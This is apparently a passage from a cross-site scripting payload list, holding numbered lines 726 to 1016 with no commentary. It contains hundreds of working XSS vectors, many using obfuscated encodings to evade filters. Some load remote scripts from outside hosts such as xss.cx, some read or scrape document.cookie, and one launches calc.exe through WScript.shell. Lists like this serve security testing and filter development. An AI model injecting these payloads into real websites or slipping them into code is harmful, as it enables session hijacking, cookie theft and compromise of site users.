  726. %3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
  727. %3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
  728. %3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
  729. %3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fx%26%23116%3Bxs%26%2399%3B.cx%2Fxss%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
  730. %3Cs%26%2399%3Bri%26%23112%3Bt%20s%26%23114%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
  731. %3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%3E
  732. %3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3Dhttp%3A%2F%2Fxs%26%23s63%3B.cx%2Fxss%2Ejs%3E%3C%2Fs%26%23x63%3Bri%26%23x70%3Bt%3E
  733. %3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{confirm%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
  734. %3E
  735. [4076*A]<img src="x" alt="[0x8F]" test=" onerror=confirm(1)//">
  736. &#60
  737. &#60;
  738. &#62
  739. &#62;
  740. <%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
  741. <A """><IMG SRC="javascript:confirm(1)">
  742. "'`>ABC<div style="font-family:'foo'*chr*x:expression(log(*num*));/*';">DEF
  743. "'`>ABC<div style="font-family:'foo*chr*;x:expression(log(*num*));/*';">DEF
  744. <A/HREF="javascript:confirm(1)">
  745. <B <SCRIPT>confirm(1)</SCRIPT>>
  746. <BASE HREF="javascript:confirm('XSS');//">
  747. <BGSOUND SRC="javascript:confirm('XSS');">
  748. <BODY BACKGROUND="javascript:confirm('XSS')">
  749. <BODY ONLOAD=confirm('XSS')>
  750. <BR SIZE="&{confirm('XSS')}">
  751. <B="<SCRIPT>confirm(1)</SCRIPT>">
  752. <DIV STYLE="background-image: url(&#1;javascript:confirm(5))">
  753. <DIV STYLE="background-image: url(javascript:confirm(5))">
  754. <DIV STYLE="width: expression(confirm(5));">
  755. %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80confirm(1)%E3%B0%80/script%E3%B8%80
  756. <FRAMESET><FRAME RC=""+"javascript:confirm(5);"></FRAMESET>
  757. <FRAMESET><FRAME SRC="javascript:confirm(5);"></FRAMESET>
  758. &GT
  759. &GT;
  760. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm(5);+ADw-/SCRIPT+AD4-
  761. <HTML><BODY>
  762. <IFRAME SRC="javascript:confirm(5);"></IFRAME>
  763. <IFRAME%20src='javascript:confirm%26%23x25;281)'>
  764. <![><IMG ALT="]><SCRIPT>confirm(1)</SCRIPT>">
  765. <IMG ALT="><SCRIPT>confirm(1)</SCRIPT>"(EOF)
  766. <IMG DYNSRC="javascript:confirm(document.location)">
  767. <IMG LOWSRC="javascript:confirm(document.location)">
  768. <IMG SRC=" &#14;  javascript:confirm(document.location);">
  769. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  770. <IMG SRC=JaVaScRiPt:confirm(document.location)>
  771. <IMG SRC=JaVaScRiPt:confirm(&quot;XSS<WBR>&quot;)>
  772. <IMG SRC=JaVaScRiPt:prompt(document.location)>
  773. <IMG SRC="jav   ascript:confirm(document.location);">
  774. <IMG SRC=java%00script:confirm(document.location)>
  775. <IMG SRC=`javascript:confirm(1)`>
  776. <IMG SRC=javascript:confirm(String.fromCharCode(88,83,83))>
  777. <IMG SRC=`javascript:confirm(document.cookie)`>
  778. <IMG SRC="javascript:confirm(document.location)"
  779. <IMG SRC="javascript:confirm(document.location);">
  780. <IMG SRC=javascript:confirm(document.location)>
  781. <IMG SRC=javascript:confirm(&quot;XSS&quot;)>
  782. <IMG SRC=javascript:prompt(document.location)>
  783. <IMG SRC="jav&#x09;ascript:confirm(<WBR>document.location);">
  784. <IMG SRC="jav&#x09;ascript:confirm(document.location);">
  785. <IMG SRC="jav&#x0A;ascript:confirm(<WBR>document.location);">
  786. <IMG SRC="jav&#x0A;ascript:confirm(document.location);">
  787. <IMG SRC="jav&#x0D;ascript:confirm(<WBR>document.location);">
  788. <IMG SRC="jav&#x0D;ascript:confirm(document.location);">
  789. <IMG SRC="livescript:[code]">
  790. <IMG SRC="mocha:[code]">
  791. <IMG SRC='vbscript:msgbox(document.location)'>
  792. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  793. <IMG STYLE="xss:expr/*XSS*/ession(confirm(document.location))">
  794. <IMG onmouseover =confirm(1)>
  795. <IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
  796. <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>
  797. <IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>
  798. <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
  799. <INPUT TYPE="IMAGE" SRC="javascript:confirm(document.location);">
  800. <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
  801. <LINK REL="stylesheet" HREF="http://xss.cx/xss.css">
  802. <LINK REL="stylesheet" HREF="javascript:confirm(document.location);">
  803. &LT
  804. &LT;
  805. <META HTTP-EQUIV="Link" Content="<http://xss.cx/xss.css>; REL=stylesheet">
  806. <META HTTP-EQUIV="Link" Content="<javascript:confirm(document.location)>; REL=stylesheet">
  807. <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;confirm(document.location)&lt;/SCRIPT&gt;">
  808. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:confirm(document.location);">
  809. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  810. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm(document.location);">
  811. <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.cx/scriptlet.html"></OBJECT>
  812. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:confirm(document.location)></OBJECT>
  813. PHNjcmlwdD5hbGVydCgnWFNTIScpPC9zY3JpcHQ+
  814. <S[0x00]CRIPT>confirm(1)</S[0x00]CRIPT>
  815. <SCR%00IPT>confirm(document.location)</SCR%00IPT>
  816. <SCRIPT SRC="http://xss.cx/xss.jpg"></SCRIPT>
  817. <SCRIPT SRC=http://xss.cx/xss.js?<B>
  818. <SCRIPT SRC=http://xss.cx/xss.js></SCRIPT>
  819. <SCRIPT a=">" '' SRC="http://xss.cx/xss.js"></SCRIPT>
  820. <SCRIPT "a='>'" SRC="http://xss.cx/xss.js"></SCRIPT>
  821. <SCRIPT a=">" SRC="http://xss.cx/xss.js"></SCRIPT>
  822. <SCRIPT a=`>` SRC="http://xss.cx/xss.js"></SCRIPT>
  823. <SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
  824. </SCRIPT>">'><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT>
  825. <SCRIPT/XSS SRC="http://xss.cx/xss.js"></SCRIPT>
  826. <SCRIPT>a=document.cookie
  827. <SCRIPT>confirm(document.location);</SCRIPT>
  828. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.cx/xss.js"></SCRIPT>
  829. SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  830. <STYLE TYPE="text/javascript">confirm(document.location);</STYLE>
  831. <STYLE type="text/css">BODY{background:url("javascript:confirm(document.location)")}</STYLE>
  832. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  833. <STYLE>.XSS{background-image:url("javascript:confirm(document.location)");}</STYLE><A CLASS=XSS></A>
  834. <STYLE>@import'http://xss.cx/xss.css';</STYLE>
  835. "><STYLE>@import"javascript:confirm(document.location)";</STYLE>
  836. <STYLE>@im\port'\ja\vasc\ript:confirm(document.location)';</STYLE>
  837. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  838. <TABLE BACKGROUND="javascript:confirm(document.location)">
  839. &#X000003C
  840. &#X000003C;
  841. &#X000003E
  842. &#X000003E;
  843. &#X000003c
  844. &#X000003c;
  845. &#X000003e
  846. &#X000003e;
  847. &#X00003C
  848. &#X00003C;
  849. &#X00003E
  850. &#X00003E;
  851. &#X00003c
  852. &#X00003c;
  853. &#X00003e
  854. &#X00003e;
  855. &#X0003C
  856. &#X0003C;
  857. &#X0003E
  858. &#X0003E;
  859. &#X0003c
  860. &#X0003c;
  861. &#X0003e
  862. &#X0003e;
  863. &#X003C
  864. &#X003C;
  865. &#X003E
  866. &#X003E;
  867. &#X003c
  868. &#X003c;
  869. &#X003e
  870. &#X003e;
  871. &#X03C
  872. &#X03C;
  873. &#X03E
  874. &#X03E;
  875. &#X03c
  876. &#X03c;
  877. &#X03e
  878. &#X03e;
  879. &#X3C
  880. &#X3C;
  881. &#X3E
  882. &#X3E;
  883. &#X3c
  884. &#X3c;
  885. &#X3e
  886. &#X3e;
  887. <a  href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click  Me</a>
  888. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  889. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  890. <a data-remote=true data-method=delete href=/delete_account>CLICK</a>
  891. <a href=````>
  892. <a href="#" onclick="confirm(' &#39&#41&#59&#97&#108&#101&#114&#116&#40&#50 ')">name</a>
  893. <a href='#' onmouseover ="javascript:$('a').html(5)">a link</a>
  894. <a href="// ЭЅ.ws">CLICK
  895. <a href=[0x0b]" onclick=confirm(1)//">click</a>
  896. <a href="&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38&#35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#49&#49&#50&#38&#35&#49&#49&#54&#38&#35&#53&#56&#38&#35&#57&#57&#38&#35&#49&#49&#49&#38&#35&#49&#49&#48&#38&#35&#49&#48&#50&#38&#35&#49&#48&#53&#38&#35&#49&#49&#52&#38&#35&#49&#48&#57&#38&#35&#52&#48&#38&#35&#52&#57&#38&#35&#52&#49">Clickhere</a>
  897. <a href=``calc``>
  898. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  899. <a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>
  900. <a href="data:text/html,%3cscript>confirm &#40;1&#41;&lt;/script&gt;" >hello
  901. <a href="data:text/html;base64,PHN2ZyшЈ9vbmxvц™•YWQ<>>9YWxlc>>>nQoMSk+">click</a>
  902. "/><a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  903. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  904. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  905. <a href="data:text/html,<script>eval(name)</script>" target="confirm(1)">click</a>
  906. <a href=``explorer.exe``>
  907. <a href="invalid:1" id=x name=y>test</a>
  908. "/><a href="invalid:2" id=x name=y>test</a>
  909. <a href="j&#00000000000000097vascript:window['confirm'](1)">aa</a>
  910. <a href="jAvAsCrIpT&colon;confirm&lpar;1&rpar;">X</a>
  911. <a href="jAvAsCrIpT&colon;confirm&lpar;1&rpar;">X</a>
  912. <a href="javas&Tab;cri&NewLine;pt:confirm(1)">test</a>
  913. <a href="//javascript:99999999/1?/YOU_MUST_HIT_RETURN<svg onload=confirm(1)>/:0">Right click open in new tab</a>
  914. "/><a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
  915. "><a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
  916. <a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click-XSS</a>
  917. "><a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  918. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  919. <a href="javascript:'hello'" rel="sidebar">x</a>
  920. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:confirm(1)&NewLine;>X</a>
  921. <a href=javascript&.x3A;confirm&(x28;1&)x29;//=>clickme
  922. a href="j&#x26;#x26#x41;vascript:confirm%252831337%2529">Hello</a>
  923. <a href=``mspaint.exe``>
  924. <a href=``notepad.exe``>
  925. <a href=``shell:System``>
  926. <a href='vbscript:"&#x5c&quot&confirm(1)&#39&#39"'>
  927. <a href="x:confirm(1)" id="test">click</a><script>eval(test+'')</script>
  928. <a href=``xss.cx``>
  929. <a id="x" href='http://adspecs.yahoo.com/adspecs.php' target="close(/*grabcookie(1)*/)">CLICK</a><script>onblur=function(){confirm(4)}x.click();</script>
  930. <a rel="noreferrer" href="//xss.cx">click</a>
  931. <a target=_blank href="data:text/html,<script>confirm(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>
  932. <a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{confirm%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
  933. <a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); confirm(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
  934. <a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
  935. <a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
  936. <a"'%0A`= +%20>;test<a"'%0A`= +%20>?test<a"'%0A`= +%20>;#test<a"'%0A`= +%20>;
  937. <a"'%0A`= +%20>;test<a"'%0A`= +%20>?test<a"'%0A`= +%20>;&x="><img src=x onerror=prompt(1);>#"><img src=x onerror=prompt(1);>test<a"'%0A`= +%20>;
  938. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  939. about://xss.cx
  940. <a/href[\0C]=ja&Tab;vasc&Tab;ript&colon;confirm(1)>XXX</a>
  941. <a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a>
  942. <a$href="data:text/html,%style=""3cscript>confirm((1)</sstyle=""cript>" onerror=>hello
  943. <a/href=java&Tab;script:confirm%28/XSS/%29>click</a>
  944. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  945. <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6 C\x65\x72\x74\x28\x30\x29\x3B'>xss
  946. <a [\x0B]onmosemove=confirm('\Done\')>
  947. <a[\x0B] onmouseover =location=т€™jav\x41script\x3aconfirm\x28т€ГZDresearchт€\x29т€В>ZDresearch
  948. <body language=vbs onload=confirm-1
  949. <body language=vbs onload=confirm-1
  950. <body language=vbs onload=confirm-1
  951. "><body language=vbs onload=window.location='http://xss.cx'>
  952. <body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'>
  953. <body scroll=confirm(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  954. <body/onload=&lt;!--&gt;&#10confirm(1)>
  955. <body/onload=&lt;!--&gt;&#10confirm(1)>
  956. "<body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>"
  957. "\"><body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>",
  958. <body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>
  959. ><body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>
  960. <button autofocus onfocus=confirm(2)>
  961. <button onclick="window.open('http://xss.cx/::Error138 ');">CLICKME
  962. "<button>'><img src=x onerror=confirm(0);></button>"
  963. <button>'><img src=x onerror=confirm(0);></button>
  964. charset=utf-
  965. '`"><*chr*script>log(*num*)</script>
  966. <command onmouseover="javascript:confirm(0);">Save //
  967. <*datahtmlelements* data=about:blank background=about:blank action=about:blank type=image/gif src=about:blank href=about:blank *dataevents*="customLog('*datahtmlelements* *dataevents*')"></*datahtmlelements*>
  968. <*datahtmlelements* *dataevents*="javascript:parent.customLog('*datahtmlelements* *dataevents*')"></*datahtmlelements*>
  969. <*datahtmlelements* *datahtmlattributes*="javascript:parent.customLog('*datahtmlelements* *datahtmlattributes*')"></*datahtmlelements*>
  970. <div  style="position:absolute;top:0;left:0;width:100%;height:100%"  onmouseover="prompt(1)" onclick="confirm(1)">x</button>?f
  971. <div contextmenu=x>right-click<menu id=x onshow=confirm(1)>
  972. <div id="confirm(2)" style="x:expression(eval)(id)">
  973. <div onmouseover='confirm&lpar;1&rpar;'>DIV</div>
  974. <div onmouseover='confirm&lpar;1&rpar;'>DIV</div>
  975. <div style="color:rgb(''&#0;x:expression(confirm(URL=1))"></div>
  976. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="confirm(1)">x</button>
  977. <%div%20style=xss:expression(prompt(1))>
  978. <div/onmouseover='confirm(1)'> style="x:">
  979. <div/onmouseover='confirm(1)'> style="x:">
  980. <div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Mouse Over</div>
  981. <div/style="width:expression(confirm(1))">X</div>
  982. <embed code="http://xss.cx/xss.swf" allowscriptaccess=always></embed>
  983. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  984. <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.cx/xss.js></SCRIPT>'"-->
  985. exp/*<XSS STYLE='no\xss:noxss("*//*");
  986. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  987. for(i=10;i>1;i--)confirm(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true);
  988. <form action='data:text&sol;html,&lt;script&gt;confirm(1)&lt/script&gt'><button>CLICK
  989. <form action='java&Tab;scri&Tab;pt:confirm(1)'><button>CLICK
  990. <form action="javas&Tab;cript:confirm(1)" method="get"><input type="submit" value="Submit"></form>  
  991. <form id="myform" value="" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>confirm(1)</textarea><input type="submit" value="Absenden"></form>
  992. <form name=location >
  993. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  994. <form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(document.cookie)><button/type=submit>
  995. <form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(document.cookie)><button/type=submit>
  996. <form/action=javascript&#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
  997. //<form/action=javascript&#x3A;confirm&lpar;document&period;cookie&rpar;><input/type='submit'>//
  998. <form><button formaction=javascript&colon;confirm(1)>CLICKME
  999. <form><iframe &#09;&#10;&#11; src="javascript&#58;confirm(1)"&#11;&#10;&#09;;>
  1000. <form><input type=submit formaction=//xss.cx><textarea name=x>
  1001. <form><isindex formaction="javascript&colon;confirm(1)"
  1002. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  1003. <frameset><frame/src=//xss.cx>
  1004. &gt
  1005. &gt;
  1006. http://www.google<script .com>confirm(document.location)</script
  1007. http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
  1008. http://www.<script>confirm(1)</script .com
  1009. <!--[if WindowsEdition]><script>confirm(location);</script><![endif]-->
  1010. <!--[if<img src=x:x onerror=confirm(5)//]-->
  1011. <iframe  src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  1012. <iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?
  1013. <iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  1014. <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  1015. <iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() {    return document.cookie }}); confirm(Safe.get());</script>
  1016. <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
